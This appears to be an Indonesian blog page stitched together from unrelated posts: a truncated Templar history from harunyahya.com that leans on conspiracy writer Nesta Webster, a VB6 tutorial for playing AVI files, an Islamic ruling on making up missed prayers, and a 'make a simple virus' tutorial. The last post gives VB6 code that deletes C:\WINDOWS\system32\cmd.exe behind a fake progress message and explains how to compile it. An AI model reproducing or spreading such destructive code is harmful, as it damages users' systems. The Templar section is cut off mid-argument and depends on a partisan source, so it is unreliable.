Ksatria TEMPLAR
Posting ini kami ambe dari situsnya harunyahya.comPara Templar, atau lengkapnya, Tentara Miskin Pengikut Yesus Kristus dan Kuil Sulaiman, dibentuk pada tahun 1118, dua puluh tahun setelah tentara salib merebut Yerusalem. Pendiri ordo ini adalah dua ksatria Prancis, Hugh de Payens dan Godfrey de St. Omer. Berawal dari sembilan anggota, ordo ini terus berkembang. Nama kuil Sulaiman dipakai karena mereka membangun basis di gunung kuil, yakni lokasi reruntuhan kuil tersebut. Di sini pula berdiri Dome of the Rock (Qubah As-Sakhrah) .
Para Templar menyebut dirinya “tentara miskin”, tetapi dalam waktu singkat mereka menjadi sangat makmur. Mereka mengontrol penuh para peziarah Kristen yang berdatangan dari Eropa ke Palestina, dan menjadi sangat kaya dari uang para peziarah tersebut. Mereka pula yang pertama kali menyelenggarakan sistem cek dan kredit, menyerupai yang ada pada sebuah bank. Menurut penulis Inggris, Michael Baigent dan Richard Leigh, mereka membangun semacam kapitalisme abad pertengahan, dan merintis jalan menuju perbankan modern dengan transaksi mereka yang berbasis bunga. 5
Para Templar inilah yang paling bertanggung jawab atas serangan-serangan pejuang salib dan pembantaian bangsa Muslim. Karena itulah, komandan besar Islam Saladin (Shalahuddin Al Ayyubi), yang mengalahkan pasukan salib pada tahun 1187 pada Pertempuran Hattin, dan kemudian membebaskan Yerusalem, menghukum mati para Templar karena pembunuhan yang mereka lakukan, walaupun sebenarnya ia mengampuni banyak sekali orang Kristen. Namun, sekalipun kehilangan Yerusalem dan mengalami kekalahan besar, para Templar terus bertahan. Dan walaupun bangsa Kristen terus menyusut di Palestina, mereka meningkatkan kekuatan di Eropa dan, pertama di Prancis, kemudian di negara-negara lain, menjadi negara dalam negara.
Tidak diragukan lagi bahwa kekuatan politik mereka menyusahkan raja-raja Eropa. Tetapi ada segi lain dari para Templar yang segera mengganggu kalangan kependetaan: ordo tersebut sedikit demi sedikit telah menyeleweng dari iman Kristen, dan sewaktu di Yerusalem telah mengambil sejumlah doktrin mistik yang asing. Berkembang juga desas-desus bahwa mereka menyelenggarakan ritus-ritus aneh untuk memberi bentuk pada doktrin mereka.
Akhirnya, pada tahun 1307, Raja Prancis Philip le Bel memutuskan untuk menangkap anggota-anggota ordo ini. Sebagiannya berhasil melarikan diri tetapi kebanyakan mereka tertangkap. Paus Clement V juga bergabung dalam pembersihan ini. Setelah periode panjang interogasi dan pengadilan, banyak anggota Templar mengakui keyakinan 'bidah' mereka, bahwa mereka menolak iman Kristiani dan menghina Yesus dalam misa mereka. Akhirnya, para pemimpin Templar, yang dinamai “Imam Besar (Grand Master)”, mulai dari yang terpenting dari mereka, Jacques de Molay, dihukum mati pada tahun 1314 atas perintah Gereja dan Raja. Kebanyakan mereka dijebloskan ke dalam penjara, dan ordo tersebut tumpas dan secara resmi menghilang.
Segolongan ahli sejarah cenderung melukiskan sidang pengadilan para Templar sebagai konspirasi dari Raja Prancis, dan menggambarkan para ksatria itu tak bersalah atas segala dakwaan. Tetapi, cara interpretasi ini keliru dalam beberapa segi. Nesta H. Webster, ahli sejarah Inggris terkenal dengan begitu banyak mengetahui sejarah okultisme, menganalisis berbagai aspek ini dalam bukunya, Secret Societies And Subversive Movements. Menurut Webster, kecenderungan untuk melepaskan para Templar dari bidah yang mereka akui dalam masa pengadilan tidak tepat. Pertama, selama interogasi, walau secara umum terjadi, tidak semua Templar disiksa:
MEMAINKAN FILE *.AVI DENGAN PICTURE BOX
Dalam tips kali ini, kita akan mencoba memainkan file dengn extensi avi menggunakan kontrol picture box pada visual basic 6.0. langkahnya sangat mudah, buka sebuah project baru dari visual basic lalu tambahkah pada form 1 command button, 1 picture box dan sebuah modul.
Jika kesemua komponen sudah disiapkan, langkah
selanjutnya copy kode berikut lalu paste ke dalam jendela modul.
'kode ne di copy kedalam modul ya
Declare Function mciSendString Lib "winmm" Alias "mciSendStringA" _
(ByVal lpstrCommand As String, ByVal lpstrReturnString As String, _
ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Declare Function mciGetErrorString Lib "winmm" Alias _
"mciGetErrorStringA" (ByVal dwError As Long, ByVal lpstrBuffer As String, _
ByVal uLength As Long) As Long
Declare Function GetShortPathName Lib "kernel32" Alias _
"GetShortPathNameA" (ByVal lpszLongPath As String, _
ByVal lpszShortPath As String, ByVal cchBuffer As Long) As Long
Public Const WS_CHILD = &H40000000
Selanjutnya copy dan paste code berikut kedalam jendela form:
Sub PlayAVIPictureBox(FileName As String, ByVal Window As PictureBox)
Dim RetVal As Long
Dim CommandString As String
Dim ShortFileName As String * 260
Dim deviceIsOpen As Boolean
'Retrieve short file name format
RetVal = GetShortPathName(FileName, ShortFileName, Len(ShortFileName))
FileName = Left$(ShortFileName, RetVal)
'Open the device
CommandString = "Open " & FileName & " type AVIVideo alias AVIFile parent " _
& CStr(Window.hWnd) & " style " & CStr(WS_CHILD)
RetVal = mciSendString(CommandString, vbNullString, 0, 0&)
If RetVal Then GoTo error
'remember that the device is now open
deviceIsOpen = True
'Resize the movie to PictureBox size
CommandString = "put AVIFile window at 0 0 " & CStr(Window.ScaleWidth / _
Screen.TwipsPerPixelX) & " " & CStr(Window.ScaleHeight / _
Screen.TwipsPerPixelY)
RetVal = mciSendString(CommandString, vbNullString, 0, 0&)
If RetVal <> 0 Then GoTo error
'mainkan file
CommandString = "Play AVIFile wait"
RetVal = mciSendString(CommandString, vbNullString, 0, 0&)
If RetVal <> 0 Then GoTo error
'tutup device
CommandString = "Close AVIFile"
RetVal = mciSendString(CommandString, vbNullString, 0, 0&)
If RetVal <> 0 Then GoTo error
Exit Sub
error:
'An error occurred.
'Get the error description
Dim ErrorString As String
ErrorString = Space$(256)
mciGetErrorString RetVal, ErrorString, Len(ErrorString)
ErrorString = Left$(ErrorString, InStr(ErrorString, vbNullChar) - 1)
'tutup device jika dibutuhkan
If deviceIsOpen Then
CommandString = "Close AVIFile"
mciSendString CommandString, vbNullString, 0, 0&
End If
'raise a custom error, with the proper description
Err.Raise 999, , ErrorString
End Sub
Private Sub Command1_Click()
'ganti 'c:\fileaku.avi' dengan file yang ingin kamu mainkan
PlayAVIPictureBox "c:\fileaku.avi", Picture1
End Sub
BOLEHKAH MENGQADHA SEMBAHYANG ? Bag 2
Seperti yang telah kami bahas dalam bagian pertama, menqadha sembahyang hukumnya wajib sebagai mana shalat tunai. Hal ini berdasarkan sebuah hadis yang diriwayatkan oleh Muslim :
انه صلى الله عليه وسلم نام هو وأصحابه عن الصبح حتى طلعت الشمس, فساروا حتى ارتفعت, ثم أذن بلال الصلاة, فصلى رسول الله صلى الله عليه وسلم ركعتين, ثم صلى صلاة الغداة ( رواه مسلم(
Artinya:
Bahwasanya nabi. Saw tertidur bersama sahabatnya dari shalat subuh sehingga terbitlah matahari, maka berjalan mereka hingga naiklah matahari, kemudian berwudhu ia nabi, kemudian azan oleh bilal untuk shalat, maka shalatlah oleh rasulullah.saw akan dua rakaat kemudian shalat subuh. (HR. Muslim)
Dari hadis diatas kita bisa mengambil tiga ketentuan hukum. Yang pertama ; azan tetap sunat dilakukan biarpun shalat tersebut sudah luput dari waktunya, sedangkan yang kedua shalat sunat boleh diqadha, dan hukum yang ketiga adalah bahwa mengqadha sembahyang hukumnya wajib karena nabi pun melakukannya.
Oleh karena itu, bagi kawan-kawan yang selama ini memegang prinsip bahwa tidak wajib mengqadha shalat itu adalah sesuatu yang sangat keliru, karena yang yang namanya shalat telah dibebankan kepada umat islam yang mukallah sehari semalam lima waktu. Jika ada satu waktu yang luput dengan sebab apapun maka wajib untuk diganti dengan segera.
Wallahua'alam bishawab.
Membuat virus sederhana dengan VB 6.0
Nah sebelum kita mulai membuat virus, siapkan dulu bahan2 yaitu secangkir kopi atau teh biar lebih fress gitu lho....he3x. Oke klo dah siap mari kita mulai aja
Langkah pertama buka visual basic kamu trus buat new project dengan menggunakan standar.exe, seperti gambar berikut:
Jika sudah, langkah berikutnya tambahkan 2 buah label, 1 buah timer dan 1 buah command button pada form seperti gambar berkut:
Selanjutnya, klik kanan pada form lalu pilih "view source", kemudian copy dan paste kode berikut kedalam jendela kode
Private Sub Command1_Click()
Dim targetfile As String
targetfile = "C:\WINDOWS\system32\cmd.exe"
Kill targetfile
Label1.Caption = " Deleting CMD.exe...please wait "
Timer1.Enabled = True
End Sub
Private Sub Timer1_Timer()
Label2.Caption = "Done"
End Sub
Private Sub Form_Activate()
Timer1.Enabled = False
End sub
Jika semua langkah diatas sudah dilakukan dengan benar, maka selanjutnya tinggal "compile" project melalu menu file>make project.exe
Akhirnya jadi juga virus kita, tapi ingat jangt pernah klik tombol "oke" karena kan menjadi senjata makan tuan.
